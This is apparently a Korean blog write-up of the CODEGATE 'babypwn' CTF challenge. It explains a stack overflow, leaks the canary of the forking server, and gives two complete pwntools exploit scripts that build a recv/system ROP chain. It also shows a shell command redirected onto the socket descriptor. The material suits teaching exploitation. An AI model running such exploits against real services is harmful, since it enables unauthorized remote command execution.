Self-Improvement

[CODEGATE] babypwn (32bit) 풀이 및 Pwntools 본문

리버싱 기초/CODEGATE

[CODEGATE] babypwn (32bit) 풀이 및 Pwntools

JoGeun 2020. 6. 3. 17:53

babypwn
0.01MB

 

FILE

파일을 다운로드 받은 후에 정보를 확인해 본다.

32bit, dynamically linked, stripped로 되어있다.

 

적용된 보호기법

 

Functions

 

IDA

IDA를 통해서 메인과 서브함수들의 중요한 것만 확인해 본다. (Strings 찾기로 접근음)

 

8181포트로 socket을 열어준다.

 

v2의 크기는 40바이트이지만 입력값을 받을땐 100바이트로 받고 있음으로 1번과 2번 선택에서 BOF가 발생하게 된다.

v3= ebp-0xC
v2= ebp-0x34
v2의 크기는 0x34-0xC =0x28이다.

 

Main에서 Fork()함수로 인해 Canary는 고정이 되어있을 것이다.

먼저 Canary 값을 구하기 위해 v2의 크기만큼 40바이트를 채워본다.

 

Canary Leak

Pwntools로 작성하되 canary의 마지막이 "\x00"으로 되어있을 것으로 추측하여 41바이트로 보내본다.

printf함수는 \x00을 만날때까지 출력이 이루어짐으로

 

canary는 0x43987500으로 되어있다.

 

Python Pwntools 풀이

canary도 구했으니 처음에 구한 functions에서 recv, system 함수를 이용하여 ROP로 쉘을 얻거나 명령을 보내본다.

ret까지의 거리는 40바이트 + canary(4바이트) + 8바이트 + SPF(4바이트)로 56바이트이다.

(위 IDA에서 v2의 EBP 거리만큼+SPF을 하면 된다.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
 
context.log_level='debug'
context(arch='x86', os='linux', endian='little')
 
e=ELF('./babypwn')
p=remote("localhost",8181)
binsh="/bin/sh\x00"
 
p.recvuntil("Select menu >")
p.sendline('1')
p.recvuntil("Input Your Message :")
 
payload='A'*40
payload+='B'
 
p.send(payload)
p.recvuntil('B')
leak=p.read(3)
canary='\x00'+leak
 
p4r=0x8048eec
cmd='id'
 
bss=e.get_section_by_name(".bss").header.sh_addr
 
payload2='A'*40
payload2+=canary
payload2+='B'*12
 
payload2+=p32(e.plt["recv"])
payload2+=p32(p4r)
payload2+=p32(4)
payload2+=p32(bss)
payload2+=p32(len(cmd)+2)
payload2+=p32(0)
 
payload2+=p32(e.plt["system"])
payload2+='CCCC'
payload2+=p32(bss)
 
p.recvuntil("Select menu >")
p.sendline('1')
 
p.send(payload2)
 
p.recvuntil("Select menu >")
p.sendline('3')
p.send(cmd)
 
p.close()
cs

 

쉘을 얻기 위해선 cmd="/bin/sh >&4 <&4 2>&4

 

Pwntools의 ROP Chain 사용

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
 
context.log_level='debug'
context(arch='x86', os='linux', endian='little')
 
e=ELF('./babypwn')
p=remote("localhost",8181)
 
p.recvuntil("Select menu >")
p.sendline('1')
p.recvuntil("Input Your Message :")
 
payload='A'*40
payload+='B'
 
p.send(payload)
p.recvuntil('B')
leak=p.read(3)
canary='\x00'+leak
 
cmd='id'
bss=e.get_section_by_name(".bss").header.sh_addr
 
rop=ROP(e)
rop.recv(4, bss, len(cmd)+2,0)
rop.system(bss)
 
payload2='A'*40
payload2+=canary
payload2+='B'*12
payload2+=rop.chain()
 
p.recvuntil("Select menu >")
p.sendline('1')
 
p.send(payload2)
 
p.recvuntil("Select menu >")
p.sendline('3')
p.send(cmd)
 
p.close()
cs